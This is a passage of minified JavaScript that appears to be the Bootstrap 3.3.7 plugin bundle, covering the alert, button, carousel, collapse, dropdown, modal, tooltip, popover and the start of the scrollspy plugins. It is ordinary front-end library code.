c='[data-dismiss="alert"]',d=function(b){a(b).on("click",c,this.close)};d.VERSION="3.3.7",d.TRANSITION_DURATION=150,d.prototype.close=function(b){function c(){g.detach().trigger("closed.bs.alert").remove()}var e=a(this),f=e.attr("data-target");f||(f=e.attr("href"),f=f&&f.replace(/.*(?=#[^\s]*$)/,""));var g=a("#"===f?[]:f);b&&b.preventDefault(),g.length||(g=e.closest(".alert")),g.trigger(b=a.Event("close.bs.alert")),b.isDefaultPrevented()||(g.removeClass("in"),a.support.transition&&g.hasClass("fade")?g.one("bsTransitionEnd",c).emulateTransitionEnd(d.TRANSITION_DURATION):c())};var e=a.fn.alert;a.fn.alert=b,a.fn.alert.Constructor=d,a.fn.alert.noConflict=function(){return a.fn.alert=e,this},a(document).on("click.bs.alert.data-api",c,d.prototype.close)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.button"),f="object"==typeof b&&b;e||d.data("bs.button",e=new c(this,f)),"toggle"==b?e.toggle():b&&e.setState(b)})}var c=function(b,d){this.$element=a(b),this.options=a.extend({},c.DEFAULTS,d),this.isLoading=!1};c.VERSION="3.3.7",c.DEFAULTS={loadingText:"loading..."},c.prototype.setState=function(b){var c="disabled",d=this.$element,e=d.is("input")?"val":"html",f=d.data();b+="Text",null==f.resetText&&d.data("resetText",d[e]()),setTimeout(a.proxy(function(){d[e](null==f[b]?this.options[b]:f[b]),"loadingText"==b?(this.isLoading=!0,d.addClass(c).attr(c,c).prop(c,!0)):this.isLoading&&(this.isLoading=!1,d.removeClass(c).removeAttr(c).prop(c,!1))},this),0)},c.prototype.toggle=function(){var a=!0,b=this.$element.closest('[data-toggle="buttons"]');if(b.length){var c=this.$element.find("input");"radio"==c.prop("type")?(c.prop("checked")&&(a=!1),b.find(".active").removeClass("active"),this.$element.addClass("active")):"checkbox"==c.prop("type")&&(c.prop("checked")!==this.$element.hasClass("active")&&(a=!1),this.$element.toggleClass("active")),c.prop("checked",this.$element.hasClass("active")),a&&c.trigger("change")}else this.$element.attr("aria-pressed",!this.$element.hasClass("active")),this.$element.toggleClass("active")};var d=a.fn.button;a.fn.button=b,a.fn.button.Constructor=c,a.fn.button.noConflict=function(){return a.fn.button=d,this},a(document).on("click.bs.button.data-api",'[data-toggle^="button"]',function(c){var d=a(c.target).closest(".btn");b.call(d,"toggle"),a(c.target).is('input[type="radio"], input[type="checkbox"]')||(c.preventDefault(),d.is("input,button")?d.trigger("focus"):d.find("input:visible,button:visible").first().trigger("focus"))}).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',function(b){a(b.target).closest(".btn").toggleClass("focus",/^focus(in)?$/.test(b.type))})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.carousel"),f=a.extend({},c.DEFAULTS,d.data(),"object"==typeof b&&b),g="string"==typeof b?b:f.slide;e||d.data("bs.carousel",e=new c(this,f)),"number"==typeof b?e.to(b):g?e[g]():f.interval&&e.pause().cycle()})}var c=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(".carousel-indicators"),this.options=c,this.paused=null,this.sliding=null,this.interval=null,this.$active=null,this.$items=null,this.options.keyboard&&this.$element.on("keydown.bs.carousel",a.proxy(this.keydown,this)),"hover"==this.options.pause&&!("ontouchstart"in document.documentElement)&&this.$element.on("mouseenter.bs.carousel",a.proxy(this.pause,this)).on("mouseleave.bs.carousel",a.proxy(this.cycle,this))};c.VERSION="3.3.7",c.TRANSITION_DURATION=600,c.DEFAULTS={interval:5e3,pause:"hover",wrap:!0,keyboard:!0},c.prototype.keydown=function(a){if(!/input|textarea/i.test(a.target.tagName)){switch(a.which){case 37:this.prev();break;case 39:this.next();break;default:return}a.preventDefault()}},c.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},c.prototype.getItemIndex=function(a){return this.$items=a.parent().children(".item"),this.$items.index(a||this.$active)},c.prototype.getItemForDirection=function(a,b){var c=this.getItemIndex(b),d="prev"==a&&0===c||"next"==a&&c==this.$items.length-1;if(d&&!this.options.wrap)return b;var e="prev"==a?-1:1,f=(c+e)%this.$items.length;return this.$items.eq(f)},c.prototype.to=function(a){var b=this,c=this.getItemIndex(this.$active=this.$element.find(".item.active"));if(!(a>this.$items.length-1||a<0))return this.sliding?this.$element.one("slid.bs.carousel",function(){b.to(a)}):c==a?this.pause().cycle():this.slide(a>c?"next":"prev",this.$items.eq(a))},c.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(".next, .prev").length&&a.support.transition&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},c.prototype.next=function(){if(!this.sliding)return this.slide("next")},c.prototype.prev=function(){if(!this.sliding)return this.slide("prev")},c.prototype.slide=function(b,d){var e=this.$element.find(".item.active"),f=d||this.getItemForDirection(b,e),g=this.interval,h="next"==b?"left":"right",i=this;if(f.hasClass("active"))return this.sliding=!1;var j=f[0],k=a.Event("slide.bs.carousel",{relatedTarget:j,direction:h});if(this.$element.trigger(k),!k.isDefaultPrevented()){if(this.sliding=!0,g&&this.pause(),this.$indicators.length){this.$indicators.find(".active").removeClass("active");var l=a(this.$indicators.children()[this.getItemIndex(f)]);l&&l.addClass("active")}var m=a.Event("slid.bs.carousel",{relatedTarget:j,direction:h});return a.support.transition&&this.$element.hasClass("slide")?(f.addClass(b),f[0].offsetWidth,e.addClass(h),f.addClass(h),e.one("bsTransitionEnd",function(){f.removeClass([b,h].join(" ")).addClass("active"),e.removeClass(["active",h].join(" ")),i.sliding=!1,setTimeout(function(){i.$element.trigger(m)},0)}).emulateTransitionEnd(c.TRANSITION_DURATION)):(e.removeClass("active"),f.addClass("active"),this.sliding=!1,this.$element.trigger(m)),g&&this.cycle(),this}};var d=a.fn.carousel;a.fn.carousel=b,a.fn.carousel.Constructor=c,a.fn.carousel.noConflict=function(){return a.fn.carousel=d,this};var e=function(c){var d,e=a(this),f=a(e.attr("data-target")||(d=e.attr("href"))&&d.replace(/.*(?=#[^\s]+$)/,""));if(f.hasClass("carousel")){var g=a.extend({},f.data(),e.data()),h=e.attr("data-slide-to");h&&(g.interval=!1),b.call(f,g),h&&f.data("bs.carousel").to(h),c.preventDefault()}};a(document).on("click.bs.carousel.data-api","[data-slide]",e).on("click.bs.carousel.data-api","[data-slide-to]",e),a(window).on("load",function(){a('[data-ride="carousel"]').each(function(){var c=a(this);b.call(c,c.data())})})}(jQuery),+function(a){"use strict";function b(b){var c,d=b.attr("data-target")||(c=b.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,"");return a(d)}function c(b){return this.each(function(){var c=a(this),e=c.data("bs.collapse"),f=a.extend({},d.DEFAULTS,c.data(),"object"==typeof b&&b);!e&&f.toggle&&/show|hide/.test(b)&&(f.toggle=!1),e||c.data("bs.collapse",e=new d(this,f)),"string"==typeof b&&e[b]()})}var d=function(b,c){this.$element=a(b),this.options=a.extend({},d.DEFAULTS,c),this.$trigger=a('[data-toggle="collapse"][href="#'+b.id+'"],[data-toggle="collapse"][data-target="#'+b.id+'"]'),this.transitioning=null,this.options.parent?this.$parent=this.getParent():this.addAriaAndCollapsedClass(this.$element,this.$trigger),this.options.toggle&&this.toggle()};d.VERSION="3.3.7",d.TRANSITION_DURATION=350,d.DEFAULTS={toggle:!0},d.prototype.dimension=function(){var a=this.$element.hasClass("width");return a?"width":"height"},d.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var b,e=this.$parent&&this.$parent.children(".panel").children(".in, .collapsing");if(!(e&&e.length&&(b=e.data("bs.collapse"),b&&b.transitioning))){var f=a.Event("show.bs.collapse");if(this.$element.trigger(f),!f.isDefaultPrevented()){e&&e.length&&(c.call(e,"hide"),b||e.data("bs.collapse",null));var g=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[g](0).attr("aria-expanded",!0),this.$trigger.removeClass("collapsed").attr("aria-expanded",!0),this.transitioning=1;var h=function(){this.$element.removeClass("collapsing").addClass("collapse in")[g](""),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!a.support.transition)return h.call(this);var i=a.camelCase(["scroll",g].join("-"));this.$element.one("bsTransitionEnd",a.proxy(h,this)).emulateTransitionEnd(d.TRANSITION_DURATION)[g](this.$element[0][i])}}}},d.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var b=a.Event("hide.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse in").attr("aria-expanded",!1),this.$trigger.addClass("collapsed").attr("aria-expanded",!1),this.transitioning=1;var e=function(){this.transitioning=0,this.$element.removeClass("collapsing").addClass("collapse").trigger("hidden.bs.collapse")};return a.support.transition?void this.$element[c](0).one("bsTransitionEnd",a.proxy(e,this)).emulateTransitionEnd(d.TRANSITION_DURATION):e.call(this)}}},d.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()},d.prototype.getParent=function(){return a(this.options.parent).find('[data-toggle="collapse"][data-parent="'+this.options.parent+'"]').each(a.proxy(function(c,d){var e=a(d);this.addAriaAndCollapsedClass(b(e),e)},this)).end()},d.prototype.addAriaAndCollapsedClass=function(a,b){var c=a.hasClass("in");a.attr("aria-expanded",c),b.toggleClass("collapsed",!c).attr("aria-expanded",c)};var e=a.fn.collapse;a.fn.collapse=c,a.fn.collapse.Constructor=d,a.fn.collapse.noConflict=function(){return a.fn.collapse=e,this},a(document).on("click.bs.collapse.data-api",'[data-toggle="collapse"]',function(d){var e=a(this);e.attr("data-target")||d.preventDefault();var f=b(e),g=f.data("bs.collapse"),h=g?"toggle":e.data();c.call(f,h)})}(jQuery),+function(a){"use strict";function b(b){var c=b.attr("data-target");c||(c=b.attr("href"),c=c&&/#[A-Za-z]/.test(c)&&c.replace(/.*(?=#[^\s]*$)/,""));var d=c&&a(c);return d&&d.length?d:b.parent()}function c(c){c&&3===c.which||(a(e).remove(),a(f).each(function(){var d=a(this),e=b(d),f={relatedTarget:this};e.hasClass("open")&&(c&&"click"==c.type&&/input|textarea/i.test(c.target.tagName)&&a.contains(e[0],c.target)||(e.trigger(c=a.Event("hide.bs.dropdown",f)),c.isDefaultPrevented()||(d.attr("aria-expanded","false"),e.removeClass("open").trigger(a.Event("hidden.bs.dropdown",f)))))}))}function d(b){return this.each(function(){var c=a(this),d=c.data("bs.dropdown");d||c.data("bs.dropdown",d=new g(this)),"string"==typeof b&&d[b].call(c)})}var e=".dropdown-backdrop",f='[data-toggle="dropdown"]',g=function(b){a(b).on("click.bs.dropdown",this.toggle)};g.VERSION="3.3.7",g.prototype.toggle=function(d){var e=a(this);if(!e.is(".disabled, :disabled")){var f=b(e),g=f.hasClass("open");if(c(),!g){"ontouchstart"in document.documentElement&&!f.closest(".navbar-nav").length&&a(document.createElement("div")).addClass("dropdown-backdrop").insertAfter(a(this)).on("click",c);var h={relatedTarget:this};if(f.trigger(d=a.Event("show.bs.dropdown",h)),d.isDefaultPrevented())return;e.trigger("focus").attr("aria-expanded","true"),f.toggleClass("open").trigger(a.Event("shown.bs.dropdown",h))}return!1}},g.prototype.keydown=function(c){if(/(38|40|27|32)/.test(c.which)&&!/input|textarea/i.test(c.target.tagName)){var d=a(this);if(c.preventDefault(),c.stopPropagation(),!d.is(".disabled, :disabled")){var e=b(d),g=e.hasClass("open");if(!g&&27!=c.which||g&&27==c.which)return 27==c.which&&e.find(f).trigger("focus"),d.trigger("click");var h=" li:not(.disabled):visible a",i=e.find(".dropdown-menu"+h);if(i.length){var j=i.index(c.target);38==c.which&&j>0&&j--,40==c.which&&j<i.length-1&&j++,~j||(j=0),i.eq(j).trigger("focus")}}}};var h=a.fn.dropdown;a.fn.dropdown=d,a.fn.dropdown.Constructor=g,a.fn.dropdown.noConflict=function(){return a.fn.dropdown=h,this},a(document).on("click.bs.dropdown.data-api",c).on("click.bs.dropdown.data-api",".dropdown form",function(a){a.stopPropagation()}).on("click.bs.dropdown.data-api",f,g.prototype.toggle).on("keydown.bs.dropdown.data-api",f,g.prototype.keydown).on("keydown.bs.dropdown.data-api",".dropdown-menu",g.prototype.keydown)}(jQuery),+function(a){"use strict";function b(b,d){return this.each(function(){var e=a(this),f=e.data("bs.modal"),g=a.extend({},c.DEFAULTS,e.data(),"object"==typeof b&&b);f||e.data("bs.modal",f=new c(this,g)),"string"==typeof b?f[b](d):g.show&&f.show(d)})}var c=function(b,c){this.options=c,this.$body=a(document.body),this.$element=a(b),this.$dialog=this.$element.find(".modal-dialog"),this.$backdrop=null,this.isShown=null,this.originalBodyPad=null,this.scrollbarWidth=0,this.ignoreBackdropClick=!1,this.options.remote&&this.$element.find(".modal-content").load(this.options.remote,a.proxy(function(){this.$element.trigger("loaded.bs.modal")},this))};c.VERSION="3.3.7",c.TRANSITION_DURATION=300,c.BACKDROP_TRANSITION_DURATION=150,c.DEFAULTS={backdrop:!0,keyboard:!0,show:!0},c.prototype.toggle=function(a){return this.isShown?this.hide():this.show(a)},c.prototype.show=function(b){var d=this,e=a.Event("show.bs.modal",{relatedTarget:b});this.$element.trigger(e),this.isShown||e.isDefaultPrevented()||(this.isShown=!0,this.checkScrollbar(),this.setScrollbar(),this.$body.addClass("modal-open"),this.escape(),this.resize(),this.$element.on("click.dismiss.bs.modal",'[data-dismiss="modal"]',a.proxy(this.hide,this)),this.$dialog.on("mousedown.dismiss.bs.modal",function(){d.$element.one("mouseup.dismiss.bs.modal",function(b){a(b.target).is(d.$element)&&(d.ignoreBackdropClick=!0)})}),this.backdrop(function(){var e=a.support.transition&&d.$element.hasClass("fade");d.$element.parent().length||d.$element.appendTo(d.$body),d.$element.show().scrollTop(0),d.adjustDialog(),e&&d.$element[0].offsetWidth,d.$element.addClass("in"),d.enforceFocus();var f=a.Event("shown.bs.modal",{relatedTarget:b});e?d.$dialog.one("bsTransitionEnd",function(){d.$element.trigger("focus").trigger(f)}).emulateTransitionEnd(c.TRANSITION_DURATION):d.$element.trigger("focus").trigger(f)}))},c.prototype.hide=function(b){b&&b.preventDefault(),b=a.Event("hide.bs.modal"),this.$element.trigger(b),this.isShown&&!b.isDefaultPrevented()&&(this.isShown=!1,this.escape(),this.resize(),a(document).off("focusin.bs.modal"),this.$element.removeClass("in").off("click.dismiss.bs.modal").off("mouseup.dismiss.bs.modal"),this.$dialog.off("mousedown.dismiss.bs.modal"),a.support.transition&&this.$element.hasClass("fade")?this.$element.one("bsTransitionEnd",a.proxy(this.hideModal,this)).emulateTransitionEnd(c.TRANSITION_DURATION):this.hideModal())},c.prototype.enforceFocus=function(){a(document).off("focusin.bs.modal").on("focusin.bs.modal",a.proxy(function(a){document===a.target||this.$element[0]===a.target||this.$element.has(a.target).length||this.$element.trigger("focus")},this))},c.prototype.escape=function(){this.isShown&&this.options.keyboard?this.$element.on("keydown.dismiss.bs.modal",a.proxy(function(a){27==a.which&&this.hide()},this)):this.isShown||this.$element.off("keydown.dismiss.bs.modal")},c.prototype.resize=function(){this.isShown?a(window).on("resize.bs.modal",a.proxy(this.handleUpdate,this)):a(window).off("resize.bs.modal")},c.prototype.hideModal=function(){var a=this;this.$element.hide(),this.backdrop(function(){a.$body.removeClass("modal-open"),a.resetAdjustments(),a.resetScrollbar(),a.$element.trigger("hidden.bs.modal")})},c.prototype.removeBackdrop=function(){this.$backdrop&&this.$backdrop.remove(),this.$backdrop=null},c.prototype.backdrop=function(b){var d=this,e=this.$element.hasClass("fade")?"fade":"";if(this.isShown&&this.options.backdrop){var f=a.support.transition&&e;if(this.$backdrop=a(document.createElement("div")).addClass("modal-backdrop "+e).appendTo(this.$body),this.$element.on("click.dismiss.bs.modal",a.proxy(function(a){return this.ignoreBackdropClick?void(this.ignoreBackdropClick=!1):void(a.target===a.currentTarget&&("static"==this.options.backdrop?this.$element[0].focus():this.hide()))},this)),f&&this.$backdrop[0].offsetWidth,this.$backdrop.addClass("in"),!b)return;f?this.$backdrop.one("bsTransitionEnd",b).emulateTransitionEnd(c.BACKDROP_TRANSITION_DURATION):b()}else if(!this.isShown&&this.$backdrop){this.$backdrop.removeClass("in");var g=function(){d.removeBackdrop(),b&&b()};a.support.transition&&this.$element.hasClass("fade")?this.$backdrop.one("bsTransitionEnd",g).emulateTransitionEnd(c.BACKDROP_TRANSITION_DURATION):g()}else b&&b()},c.prototype.handleUpdate=function(){this.adjustDialog()},c.prototype.adjustDialog=function(){var a=this.$element[0].scrollHeight>document.documentElement.clientHeight;this.$element.css({paddingLeft:!this.bodyIsOverflowing&&a?this.scrollbarWidth:"",paddingRight:this.bodyIsOverflowing&&!a?this.scrollbarWidth:""})},c.prototype.resetAdjustments=function(){this.$element.css({paddingLeft:"",paddingRight:""})},c.prototype.checkScrollbar=function(){var a=window.innerWidth;if(!a){var b=document.documentElement.getBoundingClientRect();a=b.right-Math.abs(b.left)}this.bodyIsOverflowing=document.body.clientWidth<a,this.scrollbarWidth=this.measureScrollbar()},c.prototype.setScrollbar=function(){var a=parseInt(this.$body.css("padding-right")||0,10);this.originalBodyPad=document.body.style.paddingRight||"",this.bodyIsOverflowing&&this.$body.css("padding-right",a+this.scrollbarWidth)},c.prototype.resetScrollbar=function(){this.$body.css("padding-right",this.originalBodyPad)},c.prototype.measureScrollbar=function(){var a=document.createElement("div");a.className="modal-scrollbar-measure",this.$body.append(a);var b=a.offsetWidth-a.clientWidth;return this.$body[0].removeChild(a),b};var d=a.fn.modal;a.fn.modal=b,a.fn.modal.Constructor=c,a.fn.modal.noConflict=function(){return a.fn.modal=d,this},a(document).on("click.bs.modal.data-api",'[data-toggle="modal"]',function(c){var d=a(this),e=d.attr("href"),f=a(d.attr("data-target")||e&&e.replace(/.*(?=#[^\s]+$)/,"")),g=f.data("bs.modal")?"toggle":a.extend({remote:!/#/.test(e)&&e},f.data(),d.data());d.is("a")&&c.preventDefault(),f.one("show.bs.modal",function(a){a.isDefaultPrevented()||f.one("hidden.bs.modal",function(){d.is(":visible")&&d.trigger("focus")})}),b.call(f,g,this)})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.tooltip"),f="object"==typeof b&&b;!e&&/destroy|hide/.test(b)||(e||d.data("bs.tooltip",e=new c(this,f)),"string"==typeof b&&e[b]())})}var c=function(a,b){this.type=null,this.options=null,this.enabled=null,this.timeout=null,this.hoverState=null,this.$element=null,this.inState=null,this.init("tooltip",a,b)};c.VERSION="3.3.7",c.TRANSITION_DURATION=150,c.DEFAULTS={animation:!0,placement:"top",selector:!1,template:'<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!1,container:!1,viewport:{selector:"body",padding:0}},c.prototype.init=function(b,c,d){if(this.enabled=!0,this.type=b,this.$element=a(c),this.options=this.getOptions(d),this.$viewport=this.options.viewport&&a(a.isFunction(this.options.viewport)?this.options.viewport.call(this,this.$element):this.options.viewport.selector||this.options.viewport),this.inState={click:!1,hover:!1,focus:!1},this.$element[0]instanceof document.constructor&&!this.options.selector)throw new Error("`selector` option must be specified when initializing "+this.type+" on the window.document object!");for(var e=this.options.trigger.split(" "),f=e.length;f--;){var g=e[f];if("click"==g)this.$element.on("click."+this.type,this.options.selector,a.proxy(this.toggle,this));else if("manual"!=g){var h="hover"==g?"mouseenter":"focusin",i="hover"==g?"mouseleave":"focusout";this.$element.on(h+"."+this.type,this.options.selector,a.proxy(this.enter,this)),this.$element.on(i+"."+this.type,this.options.selector,a.proxy(this.leave,this))}}this.options.selector?this._options=a.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.getOptions=function(b){return b=a.extend({},this.getDefaults(),this.$element.data(),b),b.delay&&"number"==typeof b.delay&&(b.delay={show:b.delay,hide:b.delay}),b},c.prototype.getDelegateOptions=function(){var b={},c=this.getDefaults();return this._options&&a.each(this._options,function(a,d){c[a]!=d&&(b[a]=d)}),b},c.prototype.enter=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);return c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),b instanceof a.Event&&(c.inState["focusin"==b.type?"focus":"hover"]=!0),c.tip().hasClass("in")||"in"==c.hoverState?void(c.hoverState="in"):(clearTimeout(c.timeout),c.hoverState="in",c.options.delay&&c.options.delay.show?void(c.timeout=setTimeout(function(){"in"==c.hoverState&&c.show()},c.options.delay.show)):c.show())},c.prototype.isInStateTrue=function(){for(var a in this.inState)if(this.inState[a])return!0;return!1},c.prototype.leave=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);if(c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),b instanceof a.Event&&(c.inState["focusout"==b.type?"focus":"hover"]=!1),!c.isInStateTrue())return clearTimeout(c.timeout),c.hoverState="out",c.options.delay&&c.options.delay.hide?void(c.timeout=setTimeout(function(){"out"==c.hoverState&&c.hide()},c.options.delay.hide)):c.hide()},c.prototype.show=function(){var b=a.Event("show.bs."+this.type);if(this.hasContent()&&this.enabled){this.$element.trigger(b);var d=a.contains(this.$element[0].ownerDocument.documentElement,this.$element[0]);if(b.isDefaultPrevented()||!d)return;var e=this,f=this.tip(),g=this.getUID(this.type);this.setContent(),f.attr("id",g),this.$element.attr("aria-describedby",g),this.options.animation&&f.addClass("fade");var h="function"==typeof this.options.placement?this.options.placement.call(this,f[0],this.$element[0]):this.options.placement,i=/\s?auto?\s?/i,j=i.test(h);j&&(h=h.replace(i,"")||"top"),f.detach().css({top:0,left:0,display:"block"}).addClass(h).data("bs."+this.type,this),this.options.container?f.appendTo(this.options.container):f.insertAfter(this.$element),this.$element.trigger("inserted.bs."+this.type);var k=this.getPosition(),l=f[0].offsetWidth,m=f[0].offsetHeight;if(j){var n=h,o=this.getPosition(this.$viewport);h="bottom"==h&&k.bottom+m>o.bottom?"top":"top"==h&&k.top-m<o.top?"bottom":"right"==h&&k.right+l>o.width?"left":"left"==h&&k.left-l<o.left?"right":h,f.removeClass(n).addClass(h)}var p=this.getCalculatedOffset(h,k,l,m);this.applyPlacement(p,h);var q=function(){var a=e.hoverState;e.$element.trigger("shown.bs."+e.type),e.hoverState=null,"out"==a&&e.leave(e)};a.support.transition&&this.$tip.hasClass("fade")?f.one("bsTransitionEnd",q).emulateTransitionEnd(c.TRANSITION_DURATION):q()}},c.prototype.applyPlacement=function(b,c){var d=this.tip(),e=d[0].offsetWidth,f=d[0].offsetHeight,g=parseInt(d.css("margin-top"),10),h=parseInt(d.css("margin-left"),10);isNaN(g)&&(g=0),isNaN(h)&&(h=0),b.top+=g,b.left+=h,a.offset.setOffset(d[0],a.extend({using:function(a){d.css({top:Math.round(a.top),left:Math.round(a.left)})}},b),0),d.addClass("in");var i=d[0].offsetWidth,j=d[0].offsetHeight;"top"==c&&j!=f&&(b.top=b.top+f-j);var k=this.getViewportAdjustedDelta(c,b,i,j);k.left?b.left+=k.left:b.top+=k.top;var l=/top|bottom/.test(c),m=l?2*k.left-e+i:2*k.top-f+j,n=l?"offsetWidth":"offsetHeight";d.offset(b),this.replaceArrow(m,d[0][n],l)},c.prototype.replaceArrow=function(a,b,c){this.arrow().css(c?"left":"top",50*(1-a/b)+"%").css(c?"top":"left","")},c.prototype.setContent=function(){var a=this.tip(),b=this.getTitle();a.find(".tooltip-inner")[this.options.html?"html":"text"](b),a.removeClass("fade in top bottom left right")},c.prototype.hide=function(b){function d(){"in"!=e.hoverState&&f.detach(),e.$element&&e.$element.removeAttr("aria-describedby").trigger("hidden.bs."+e.type),b&&b()}var e=this,f=a(this.$tip),g=a.Event("hide.bs."+this.type);if(this.$element.trigger(g),!g.isDefaultPrevented())return f.removeClass("in"),a.support.transition&&f.hasClass("fade")?f.one("bsTransitionEnd",d).emulateTransitionEnd(c.TRANSITION_DURATION):d(),this.hoverState=null,this},c.prototype.fixTitle=function(){var a=this.$element;(a.attr("title")||"string"!=typeof a.attr("data-original-title"))&&a.attr("data-original-title",a.attr("title")||"").attr("title","")},c.prototype.hasContent=function(){return this.getTitle()},c.prototype.getPosition=function(b){b=b||this.$element;var c=b[0],d="BODY"==c.tagName,e=c.getBoundingClientRect();null==e.width&&(e=a.extend({},e,{width:e.right-e.left,height:e.bottom-e.top}));var f=window.SVGElement&&c instanceof window.SVGElement,g=d?{top:0,left:0}:f?null:b.offset(),h={scroll:d?document.documentElement.scrollTop||document.body.scrollTop:b.scrollTop()},i=d?{width:a(window).width(),height:a(window).height()}:null;return a.extend({},e,h,i,g)},c.prototype.getCalculatedOffset=function(a,b,c,d){return"bottom"==a?{top:b.top+b.height,left:b.left+b.width/2-c/2}:"top"==a?{top:b.top-d,left:b.left+b.width/2-c/2}:"left"==a?{top:b.top+b.height/2-d/2,left:b.left-c}:{top:b.top+b.height/2-d/2,left:b.left+b.width}},c.prototype.getViewportAdjustedDelta=function(a,b,c,d){var e={top:0,left:0};if(!this.$viewport)return e;var f=this.options.viewport&&this.options.viewport.padding||0,g=this.getPosition(this.$viewport);if(/right|left/.test(a)){var h=b.top-f-g.scroll,i=b.top+f-g.scroll+d;h<g.top?e.top=g.top-h:i>g.top+g.height&&(e.top=g.top+g.height-i)}else{var j=b.left-f,k=b.left+f+c;j<g.left?e.left=g.left-j:k>g.right&&(e.left=g.left+g.width-k)}return e},c.prototype.getTitle=function(){var a,b=this.$element,c=this.options;return a=b.attr("data-original-title")||("function"==typeof c.title?c.title.call(b[0]):c.title)},c.prototype.getUID=function(a){do a+=~~(1e6*Math.random());while(document.getElementById(a));return a},c.prototype.tip=function(){if(!this.$tip&&(this.$tip=a(this.options.template),1!=this.$tip.length))throw new Error(this.type+" `template` option must consist of exactly 1 top-level element!");return this.$tip},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".tooltip-arrow")},c.prototype.enable=function(){this.enabled=!0},c.prototype.disable=function(){this.enabled=!1},c.prototype.toggleEnabled=function(){this.enabled=!this.enabled},c.prototype.toggle=function(b){var c=this;b&&(c=a(b.currentTarget).data("bs."+this.type),c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c))),b?(c.inState.click=!c.inState.click,c.isInStateTrue()?c.enter(c):c.leave(c)):c.tip().hasClass("in")?c.leave(c):c.enter(c)},c.prototype.destroy=function(){var a=this;clearTimeout(this.timeout),this.hide(function(){a.$element.off("."+a.type).removeData("bs."+a.type),a.$tip&&a.$tip.detach(),a.$tip=null,a.$arrow=null,a.$viewport=null,a.$element=null})};var d=a.fn.tooltip;a.fn.tooltip=b,a.fn.tooltip.Constructor=c,a.fn.tooltip.noConflict=function(){return a.fn.tooltip=d,this}}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.popover"),f="object"==typeof b&&b;!e&&/destroy|hide/.test(b)||(e||d.data("bs.popover",e=new c(this,f)),"string"==typeof b&&e[b]())})}var c=function(a,b){this.init("popover",a,b)};if(!a.fn.tooltip)throw new Error("Popover requires tooltip.js");c.VERSION="3.3.7",c.DEFAULTS=a.extend({},a.fn.tooltip.Constructor.DEFAULTS,{placement:"right",trigger:"click",content:"",template:'<div class="popover" role="tooltip"><div class="arrow"></div><h3 class="popover-title"></h3><div class="popover-content"></div></div>'}),c.prototype=a.extend({},a.fn.tooltip.Constructor.prototype),c.prototype.constructor=c,c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.setContent=function(){var a=this.tip(),b=this.getTitle(),c=this.getContent();a.find(".popover-title")[this.options.html?"html":"text"](b),a.find(".popover-content").children().detach().end()[this.options.html?"string"==typeof c?"html":"append":"text"](c),a.removeClass("fade top bottom left right in"),a.find(".popover-title").html()||a.find(".popover-title").hide()},c.prototype.hasContent=function(){return this.getTitle()||this.getContent()},c.prototype.getContent=function(){var a=this.$element,b=this.options;return a.attr("data-content")||("function"==typeof b.content?b.content.call(a[0]):b.content)},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")};var d=a.fn.popover;a.fn.popover=b,a.fn.popover.Constructor=c,a.fn.popover.noConflict=function(){return a.fn.popover=d,this}}(jQuery),+function(a){"use strict";function b(c,d){this.$body=a(document.body),this.$scrollElement=a(a(c).is(document.body)?window:c),this.options=a.extend({},b.DEFAULTS,d),this.selector=(this.options.target||"")+" .nav li > a",this.offsets=[],this.targets=[],this.activeTarget=null,this.scrollHeight=0,this.$scrollElement.on("scroll.bs.scrollspy",a.proxy(this.process,this)),this.refresh(),this.process()}function c(c){return this.each(function(){var d=a(this),e=d.data("bs.scrollspy"),f="object"==typeof c&&c;e||d.data("bs.scrollspy",e=new b(this,f)),"string"==typeof c&&e[c]()})}b.VERSION="3.3.7",b.DEFAULTS={offset:10},b.prototype.getScrollHeight=function(){return this.$scrollElement[0].scrollHeight||Math.max(this.$body[0].scrollHeight,document.documentElement.scrollHeight)},b.prototype.refresh=function(){var b=this,c="offset",d=0;this.offsets=[],this.targets=[],this.scrollHeight=this.getScrollHeight(),a.isWindow(this.$scrollElement[0])||(c="position",d=this.$scrollElement.scrollTop()),this.$body.find(this.selector).map(function(){var b=a(this),e=b.data("target")||b.attr("href"),f=/^#./.test(e)&&a(e);return f&&f.length&&f.is(":visible")&&[[f[c]().top+d,e]]||null}).sort(function(a,b){return a[0]-b[0]}).each(function(){b.offsets.push(this[0]),b.targets.push(this[1])})},b.prototype.process=function(){var 